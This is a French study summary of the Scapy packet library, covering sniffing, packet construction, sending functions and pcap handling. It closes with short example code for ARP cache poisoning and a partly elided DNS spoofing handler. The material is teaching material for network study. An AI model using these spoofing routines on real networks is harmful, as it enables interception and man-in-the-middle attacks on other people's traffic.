# Résumé sur Scapy : Théorie et Commandes

## Partie 1 : Théorie de Scapy

**Scapy est un programme Python puissant qui permet de manipuler des paquets réseaux de manière interactive.** Il est capable de forger ou décoder des paquets pour de nombreux protocoles, de les envoyer sur le réseau, de les capturer, et bien plus encore. Scapy peut être utilisé pour effectuer des tâches courantes comme le scanning, le tracerouting, les tests unitaires, mais aussi pour des actions plus spécifiques comme l'envoi de trames invalides ou l'injection de frames 802.11.

**Ce qui rend Scapy spécial :**

- **Conception rapide des paquets :** La syntaxe de Python et l'interpréteur Python offrent un langage puissant et concis pour décrire des paquets.
- **Flexibilité :** Scapy permet de construire exactement les paquets souhaités, sans limitations arbitraires, et de les empiler comme on le souhaite.
- **Un seul sondage, multiples interprétations :** Scapy fournit toutes les informations brutes, permettant de multiples analyses à partir d'un seul sondage.
- **Décodage sans interprétation :** Scapy décode les paquets sans les interpréter, évitant les biais et les erreurs d'interprétation.

**Scapy peut remplacer de nombreux autres outils réseau,** tels que hping, arpspoof, Nmap, tcpdump et tshark. Il peut être utilisé interactivement via une interface de ligne de commande (CLI) ou en tant que bibliothèque dans des programmes Python.

## Partie 2 : Commandes Scapy

### 1. Sniffing (Écoute du réseau)

- **`sniff(count=0, prn=lambda p: traiter_trame(p))` :** Capture les paquets sur le réseau.
  - **`count` :** Nombre de paquets à capturer (0 pour capturer en continu).
  - **`prn` :** Fonction à appliquer sur chaque paquet capturé.
  - **`lfilter` :** Fonction Python pour filtrer les paquets capturés.
  - **`filter` :** Expression de filtrage utilisant la syntaxe tcpdump.

**Exemple :** `sniff(filter="udp port 53", prn=lambda p: p.show())` capture les paquets UDP sur le port 53 et affiche leur contenu.

### 2. Création de Paquets

- **`IP()` :** Crée un paquet IP.
- **`TCP()` :** Crée un paquet TCP.
- **`Ether()` :** Crée une trame Ethernet.
- **`/[couche]` :** Empile les couches protocolaires.
- **`[couche].champ = valeur` :** Définit la valeur d'un champ.
- **`[couche].champ = (valeur1, valeur2)` :** Crée plusieurs paquets en variant la valeur d'un champ.

**Exemple :** `IP(dst="www.google.com")/TCP(dport=80)` crée un paquet TCP destiné au port 80 de www.google.com.

### 3. Envoi de Paquets

- **`sendp(paquet)` :** Envoie des trames (couche 2).
- **`srp(paquet)` :** Envoie et reçoit des trames (couche 2).
- **`srp1(paquet)` :** Envoie une trame et obtient une seule réponse (couche 2).
- **`send(paquet)` :** Envoie des paquets (couche 3).
- **`sr(paquet)` :** Envoie et reçoit des paquets (couche 3).
- **`sr1(paquet)` :** Envoie un paquet et obtient une seule réponse (couche 3).

**Exemple :** `rep, non_rep = sr(IP(dst="192.168.1.1")/ICMP())` envoie une requête ICMP à 192.168.1.1 et stocke les réponses dans `rep` et les paquets non répondus dans `non_rep`.

### 4. Exemples

- **Affichage d'un paquet :**
  - **`paquet.show()` :** Affiche la structure du paquet et les valeurs des champs.
  - **`hexdump(paquet)` :** Affiche le paquet sous forme hexadécimale.
  - **`paquet.pdfdump('nom_fichier.pdf')` :** Crée un PDF avec une représentation graphique du paquet.
- **Création d'un fichier pcap :**
  - **`wrpcap("nom_fichier.pcap", liste_paquets)` :** Enregistre une liste de paquets dans un fichier pcap.
- **Lecture d'un fichier pcap :**
  - **`liste_paquets = rdpcap("nom_fichier.pcap")` :** Charge les paquets d'un fichier pcap dans une liste.

**Exemple d'injection ARP :**

```
def arpcachepoison(cible, victime):
  """Prend la place de la victime pour la cible"""
  cible_mac = getmacbyip(cible)
  p = Ether(dst=cible_mac) / ARP(op="who-has", psrc=victime, pdst=cible)
  sendp(p)
```

**Exemple de DNS spoofing :**

```
def procPacket(p):
  eth_layer = p.getlayer(Ether)
  src_mac, dst_mac = (eth_layer.src, eth_layer.dst)

  ip_layer = p.getlayer(IP)
  src_ip, dst_ip = (ip_layer.src, ip_layer.dst)

  # ... (Construction d'un paquet DNS spoofé)

  spoofed = Ether(src=dst_mac, dst=src_mac)/IP(src=dst_ip, dst=src_ip)
  # ...
  scapy.sendp(spoofed, iface_hint=src_ip)
```

```
scapy.sniff(iface="eth0", count=1, filter="udp port 53", prn=procPacket)
```

Ces exemples illustrent quelques-unes des nombreuses possibilités offertes par Scapy pour manipuler des paquets réseaux et interagir avec le réseau.